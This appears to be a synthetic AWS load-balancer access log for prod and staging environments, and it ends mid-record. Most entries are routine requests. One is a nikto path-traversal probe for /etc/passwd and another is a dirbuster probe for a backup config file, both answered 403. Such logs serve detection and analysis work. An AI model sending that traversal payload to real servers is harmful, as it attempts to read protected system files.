"Root=1-6723d186-015289e9f60a4990936bfd39" "prod-api-alb.example.com" "-" 0 2024-11-01T01:50:46.905684Z "forward" "-" "-" "10.0.221.98:443" "200" "-" "-" +http 2024-11-01T01:50:47.971512Z staging-alb 181.157.198.202:26600 152.225.127.167:8080 0.009015 0.586325 0.125201 200 200 449 12424 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d187-15f3310a7a504ae1bc7652c8" "staging-alb.example.com" "-" 4 2024-11-01T01:50:47.971512Z "forward" "-" "-" "152.225.127.167:8080" "200" "-" "-" +https 2024-11-01T01:50:48.174903Z prod-api-alb 47.139.67.114:62807 10.0.8.156:443 0.061317 0.150306 0.058719 301 301 82 12740 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d188-378ced00eeda467ab95e7776" "prod-api-alb.example.com" "-" 1 2024-11-01T01:50:48.174903Z "forward" "-" "-" "10.0.8.156:443" "301" "-" "-" +https 2024-11-01T01:50:49.758735Z prod-api-alb 84.52.247.236:53867 10.0.166.98:443 0.052222 0.179015 0.071678 200 200 192 8065 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d189-4a7f3dfcbf46484cafd28d42" "prod-api-alb.example.com" "-" 3 2024-11-01T01:50:49.758735Z "forward" "-" "-" "10.0.166.98:443" "200" "-" "-" +https 2024-11-01T01:50:51.429416Z prod-web-alb 95.44.254.81:41772 10.0.237.178:443 0.057948 0.270481 0.090496 200 200 647 2954 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d18b-63066fa118b342c2903d2457" "prod-web-alb.example.com" "-" 4 2024-11-01T01:50:51.429416Z "forward" "-" "-" "10.0.237.178:443" "200" "-" "-" +https 2024-11-01T01:50:51.584677Z staging-alb 167.162.150.144:27758 168.184.100.245:8080 0.111757 0.145867 0.011837 302 302 417 6079 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d18b-6793202cb9414f9e95c27f04" "staging-alb.example.com" "-" 9 2024-11-01T01:50:51.584677Z "forward" "-" "-" "168.184.100.245:8080" "302" "-" "-" +https 2024-11-01T01:50:52.419968Z staging-alb 176.72.19.88:59060 186.54.130.236:80 0.021432 0.184451 0.102175 302 302 41 4658 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d18c-364cffb2677445f7bf90fef3" "staging-alb.example.com" "-" 2 2024-11-01T01:50:52.419968Z "forward" "-" "-" "186.54.130.236:80" "302" "-" "-" +https 2024-11-01T01:50:54.171914Z prod-api-alb 117.179.162.39:10272 10.0.133.105:443 0.026668 0.237926 0.022193 200 200 709 3761 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d18e-89cd7428be694e64966a8f6e" "prod-api-alb.example.com" "-" 4 2024-11-01T01:50:54.171914Z "forward" "-" "-" "10.0.133.105:443" "200" "-" "-" +https 2024-11-01T01:50:55.196322Z prod-web-alb 4.167.219.73:18930 10.0.212.230:443 0.048073 0.175586 0.057571 302 302 372 6211 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d18f-67df8f626f464a3abf807c50" "prod-web-alb.example.com" "-" 9 2024-11-01T01:50:55.196322Z "forward" "-" "-" "10.0.212.230:443" "302" "-" "-" +https 2024-11-01T01:50:56.668815Z prod-api-alb 59.161.197.165:41205 10.0.115.81:443 0.073013 0.105886 0.025769 200 200 532 6221 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d190-c95b6b3df3c64cc49302cdb2" "prod-api-alb.example.com" "-" 2 2024-11-01T01:50:56.668815Z "forward" "-" "-" "10.0.115.81:443" "200" "-" "-" +https 2024-11-01T01:50:57.130292Z prod-api-alb 124.43.82.151:57159 10.0.170.21:443 0.063372 0.440755 0.065974 200 200 970 10008 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d191-f7dcf156a6d84f7f9ed99365" "prod-api-alb.example.com" "-" 1 2024-11-01T01:50:57.130292Z "forward" "-" "-" "10.0.170.21:443" "200" "-" "-" +http 2024-11-01T01:50:58.685769Z staging-alb 52.132.134.44:42665 149.244.164.163:443 0.028127 0.710342 0.129338 302 302 425 10940 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d192-c233eee29ab74908a7cedcd0" "staging-alb.example.com" "-" 2 2024-11-01T01:50:58.685769Z "forward" "-" "-" "149.244.164.163:443" "302" "-" "-" +https 2024-11-01T01:50:59.241364Z prod-api-alb 245.230.222.143:57241 10.0.72.70:443 0.052822 0.152937 0.094696 302 302 35 11730 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d193-83a071c97d7f49c3a39fed43" "prod-api-alb.example.com" "-" 8 2024-11-01T01:50:59.241364Z "forward" "-" "-" "10.0.72.70:443" "302" "-" "-" +https 2024-11-01T01:50:59.555472Z prod-web-alb 44.206.177.226:45790 10.0.97.235:443 0.074655 0.325876 0.028345 200 200 982 8252 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d193-e62eb34fd8b540838d345093" "prod-web-alb.example.com" "-" 0 2024-11-01T01:50:59.555472Z "forward" "-" "-" "10.0.97.235:443" "200" "-" "-" +https 2024-11-01T01:51:00.610773Z prod-api-alb 146.207.150.184:34187 10.0.25.145:443 0.015515 0.256004 0.042752 200 200 5 1658 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d194-c4ed45ba705f4fe6b293c5ad" "prod-api-alb.example.com" "-" 3 2024-11-01T01:51:00.610773Z "forward" "-" "-" "10.0.25.145:443" "200" "-" "-" +https 2024-11-01T01:51:01.257572Z prod-api-alb 30.57.98.120:40776 10.0.229.152:443 0.077516 0.235353 0.078992 302 302 566 4174 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d195-a33c03da0e1543dc945d72b2" "prod-api-alb.example.com" "-" 10 2024-11-01T01:51:01.257572Z "forward" "-" "-" "10.0.229.152:443" "302" "-" "-" +https 2024-11-01T01:51:02.016693Z prod-api-alb 158.146.162.139:16211 10.0.175.154:443 0.016131 0.190416 0.088323 404 404 187 3190 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d196-399db07529e142e391520931" "prod-api-alb.example.com" "-" 7 2024-11-01T01:51:02.016693Z "forward" "-" "-" "10.0.175.154:443" "404" "-" "-" +https 2024-11-01T01:51:02.595899Z prod-web-alb 3.210.109.117:64459 10.0.233.187:443 0.015660 0.109462 0.006830 200 200 311 1488 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d196-fb862639b4b34f359a9eedb8" "prod-web-alb.example.com" "-" 9 2024-11-01T01:51:02.595899Z "forward" "-" "-" "10.0.233.187:443" "200" "-" "-" +http 2024-11-01T01:51:04.399949Z staging-alb 217.14.86.197:54434 231.177.88.73:80 0.004906 0.563620 0.027315 200 200 692 3716 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d198-8fa9380ca77b43db95853a49" "staging-alb.example.com" "-" 10 2024-11-01T01:51:04.399949Z "forward" "-" "-" "231.177.88.73:80" "200" "-" "-" +https 2024-11-01T01:51:06.074077Z prod-api-alb 71.59.112.153:52112 10.0.67.51:443 0.026274 0.128844 0.086276 200 200 33 6142 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d19a-525aaec2a96c4fd3b29f1c9f" "prod-api-alb.example.com" "-" 5 2024-11-01T01:51:06.074077Z "forward" "-" "-" "10.0.67.51:443" "200" "-" "-" +https 2024-11-01T01:51:07.800365Z prod-web-alb 244.77.64.152:53118 10.0.117.155:443 0.058045 0.385557 0.021722 200 200 616 7014 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d19b-88c673ebe5fa435faecc12dc" "prod-web-alb.example.com" "-" 0 2024-11-01T01:51:07.800365Z "forward" "-" "-" "10.0.117.155:443" "200" "-" "-" +http 2024-11-01T01:51:09.211057Z staging-alb 180.231.97.90:54393 129.2.163.163:443 0.044728 0.189621 0.086396 302 302 705 10408 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d19d-90acea942f8f4211ba8c53ef" "staging-alb.example.com" "-" 2 2024-11-01T01:51:09.211057Z "forward" "-" "-" "129.2.163.163:443" "302" "-" "-" +https 2024-11-01T01:51:09.878320Z prod-web-alb 43.232.16.98:49913 10.0.129.69:443 0.024165 0.495105 0.099870 301 301 10 5942 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d19d-faf3567b32d9468e86e031e1" "prod-web-alb.example.com" "-" 3 2024-11-01T01:51:09.878320Z "forward" "-" "-" "10.0.129.69:443" "301" "-" "-" +https 2024-11-01T01:51:10.857772Z prod-api-alb 128.95.128.130:50174 10.0.40.249:443 0.066504 0.026020 0.027215 302 302 40 3702 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d19e-71b0d531a12e4ec092870f5f" "prod-api-alb.example.com" "-" 4 2024-11-01T01:51:10.857772Z "forward" "-" "-" "10.0.40.249:443" "302" "-" "-" +http 2024-11-01T01:51:10.984346Z staging-alb 21.166.14.166:30430 117.7.103.8:8080 0.136219 0.347812 0.124194 404 404 326 10780 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d19e-8d4dacf1a38142739a854764" "staging-alb.example.com" "-" 7 2024-11-01T01:51:10.984346Z "forward" "-" "-" "117.7.103.8:8080" "404" "-" "-" +https 2024-11-01T01:51:11.352457Z staging-alb 115.176.200.79:10943 66.7.116.203:443 0.041726 0.362037 0.123485 200 200 997 11585 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d19f-317aeacde419416ca1c2fdf0" "staging-alb.example.com" "-" 0 2024-11-01T01:51:11.352457Z "forward" "-" "-" "66.7.116.203:443" "200" "-" "-" +http 2024-11-01T01:51:12.060624Z staging-alb 47.217.200.49:24688 126.180.162.184:443 0.055330 0.155707 0.014962 200 200 311 3533 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1a0-087dd259ce974a3f86c844c8" "staging-alb.example.com" "-" 10 2024-11-01T01:51:12.060624Z "forward" "-" "-" "126.180.162.184:443" "200" "-" "-" +https 2024-11-01T01:51:13.382600Z prod-api-alb 68.205.87.22:21720 10.0.243.85:443 0.082901 0.117224 0.041463 200 200 30 12603 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1a1-a8dd3dc2e7c24ee390170415" "prod-api-alb.example.com" "-" 5 2024-11-01T01:51:13.382600Z "forward" "-" "-" "10.0.243.85:443" "200" "-" "-" +http 2024-11-01T01:51:14.686086Z staging-alb 45.155.205.157:20143 76.68.106.21:80 0.101139 0.145314 0.096699 403 403 409 10396 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1a2-21eac7718c9c47489c932a80" "-" "-" 8 2024-11-01T01:51:14.686086Z "forward" "-" "-" "76.68.106.21:80" "403" "-" "-" +https 2024-11-01T01:51:15.161246Z staging-alb 90.56.152.95:32905 162.224.13.64:8080 0.002984 0.312218 0.004783 404 404 646 6039 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1a3-ce67f26875a943e194750cf4" "staging-alb.example.com" "-" 5 2024-11-01T01:51:15.161246Z "forward" "-" "-" "162.224.13.64:8080" "404" "-" "-" +https 2024-11-01T01:51:16.100254Z prod-web-alb 106.58.27.85:28113 10.0.69.185:443 0.005868 0.417880 0.015050 302 302 23 466 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1a4-35858d3a91c544b29a054665" "prod-web-alb.example.com" "-" 10 2024-11-01T01:51:16.100254Z "forward" "-" "-" "10.0.69.185:443" "302" "-" "-" +http 2024-11-01T01:51:17.462838Z staging-alb 245.190.235.237:17631 23.134.195.86:8080 0.071316 0.377775 0.014808 200 200 903 1566 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1a5-083b06b564914f699f06231f" "staging-alb.example.com" "-" 1 2024-11-01T01:51:17.462838Z "forward" "-" "-" "23.134.195.86:8080" "200" "-" "-" +https 2024-11-01T01:51:18.603631Z prod-api-alb 12.111.56.186:48337 10.0.125.148:443 0.099777 0.032945 0.012005 301 301 704 7308 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1a6-f897d37fc3b549a2964df160" "prod-api-alb.example.com" "-" 2 2024-11-01T01:51:18.603631Z "forward" "-" "-" "10.0.125.148:443" "301" "-" "-" +http 2024-11-01T01:51:19.257397Z staging-alb 85.179.174.239:29197 151.226.28.116:443 0.113279 0.389921 0.147873 200 200 872 10098 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1a7-357de58b40734c7599593060" "staging-alb.example.com" "-" 0 2024-11-01T01:51:19.257397Z "forward" "-" "-" "151.226.28.116:443" "200" "-" "-" +https 2024-11-01T01:51:20.223690Z prod-web-alb 116.200.76.162:19109 10.0.118.171:443 0.040425 0.486593 0.014203 200 200 696 919 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1a8-f85c11e3a6234f798bd88f72" "prod-web-alb.example.com" "-" 7 2024-11-01T01:51:20.223690Z "forward" "-" "-" "10.0.118.171:443" "200" "-" "-" +https 2024-11-01T01:51:20.526228Z prod-web-alb 248.56.133.40:37923 10.0.67.191:443 0.094219 0.188987 0.041025 200 200 167 13850 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1a8-76f1585620a64b00bd06638f" "prod-web-alb.example.com" "-" 8 2024-11-01T01:51:20.526228Z "forward" "-" "-" "10.0.67.191:443" "200" "-" "-" +https 2024-11-01T01:51:20.958679Z staging-alb 132.1.11.221:45671 40.196.85.50:80 0.037264 0.039925 0.063206 404 404 462 5277 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1a8-dff91d18174a4b40a070ee84" "staging-alb.example.com" "-" 5 2024-11-01T01:51:20.958679Z "forward" "-" "-" "40.196.85.50:80" "404" "-" "-" +https 2024-11-01T01:51:21.915317Z prod-web-alb 36.202.247.176:32353 10.0.132.216:443 0.039681 0.260163 0.023867 301 301 933 5767 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1a9-28eda9bcc7b04a52b95a1ba6" "prod-web-alb.example.com" "-" 5 2024-11-01T01:51:21.915317Z "forward" "-" "-" "10.0.132.216:443" "301" "-" "-" +https 2024-11-01T01:51:22.984185Z prod-api-alb 206.78.31.5:43129 10.0.109.40:443 0.048127 0.105823 0.045811 404 404 423 5448 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1aa-0228c83e30a64c3fa655a4e9" "prod-api-alb.example.com" "-" 0 2024-11-01T01:51:22.984185Z "forward" "-" "-" "10.0.109.40:443" "404" "-" "-" +https 2024-11-01T01:51:24.584435Z prod-web-alb 118.129.145.24:34537 10.0.163.78:443 0.026922 0.233237 0.089207 302 302 37 11908 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1ac-6492fab65f2e4e9a8a5df779" "prod-web-alb.example.com" "-" 9 2024-11-01T01:51:24.584435Z "forward" "-" "-" "10.0.163.78:443" "302" "-" "-" +https 2024-11-01T01:51:24.964826Z prod-web-alb 75.109.142.164:40729 10.0.83.184:443 0.079779 0.306102 0.033623 200 200 140 13448 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1ac-fc5998cfae1e4005b01fdd10" "prod-web-alb.example.com" "-" 0 2024-11-01T01:51:24.964826Z "forward" "-" "-" "10.0.83.184:443" "200" "-" "-" +http 2024-11-01T01:51:25.932060Z staging-alb 185.181.110.51:49510 70.164.175.142:443 0.126665 0.687137 0.101706 403 403 825 13735 "POST /config.php~ HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1ad-e35b13a815374a2cb179eaa2" "-" "-" 7 2024-11-01T01:51:25.932060Z "forward" "-" "-" "70.164.175.142:443" "403" "-" "-" +http 2024-11-01T01:51:27.489758Z staging-alb 166.42.102.167:46369 243.242.51.42:443 0.132582 0.302087 0.052666 200 200 787 14282 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1af-424b68e7dd0f4a63abc4dc2d" "staging-alb.example.com" "-" 0 2024-11-01T01:51:27.489758Z "forward" "-" "-" "243.242.51.42:443" "200" "-" "-" +https 2024-11-01T01:51:29.126163Z prod-api-alb 83.246.98.152:61536 10.0.153.105:443 0.001411 0.274982 0.099276 200 200 249 4346 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1b1-327c017eb29b429a9ac8a6b7" "prod-api-alb.example.com" "-" 9 2024-11-01T01:51:29.126163Z "forward" "-" "-" "10.0.153.105:443" "200" "-" "-" +https 2024-11-01T01:51:29.701619Z staging-alb 240.152.174.246:26350 65.63.51.135:8080 0.090734 0.379411 0.143572 200 200 283 12989 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1b1-e4ee6da709d043188b8a56e1" "staging-alb.example.com" "-" 9 2024-11-01T01:51:29.701619Z "forward" "-" "-" "65.63.51.135:8080" "200" "-" "-" +https 2024-11-01T01:51:30.385695Z prod-api-alb 199.77.50.136:27946 10.0.180.202:443 0.036423 0.401940 0.044416 200 200 305 13474 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1b2-e9bf5ececff44ecba35c025b" "prod-api-alb.example.com" "-" 10 2024-11-01T01:51:30.385695Z "forward" "-" "-" "10.0.180.202:443" "200" "-" "-" +https 2024-11-01T01:51:31.976771Z prod-web-alb 206.111.25.166:44246 10.0.111.20:443 0.057574 0.219916 0.043272 301 301 360 5342 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1b3-7e51234b09574071b6aa3099" "prod-web-alb.example.com" "-" 1 2024-11-01T01:51:31.976771Z "forward" "-" "-" "10.0.111.20:443" "301" "-" "-" +https 2024-11-01T01:51:33.310118Z staging-alb 231.110.225.129:17390 138.117.43.200:8080 0.017348 0.299810 0.098857 200 200 364 6464 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1b5-ef5cbdc3fcaa4707bb0ba881" "staging-alb.example.com" "-" 9 2024-11-01T01:51:33.310118Z "forward" "-" "-" "138.117.43.200:8080" "200" "-" "-" +https 2024-11-01T01:51:33.673788Z staging-alb 88.159.216.21:39989 237.251.190.192:443 0.054328 0.430745 0.007233 200 200 953 6217 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1b5-576bbca969954053bed755cd" "staging-alb.example.com" "-" 9 2024-11-01T01:51:33.673788Z 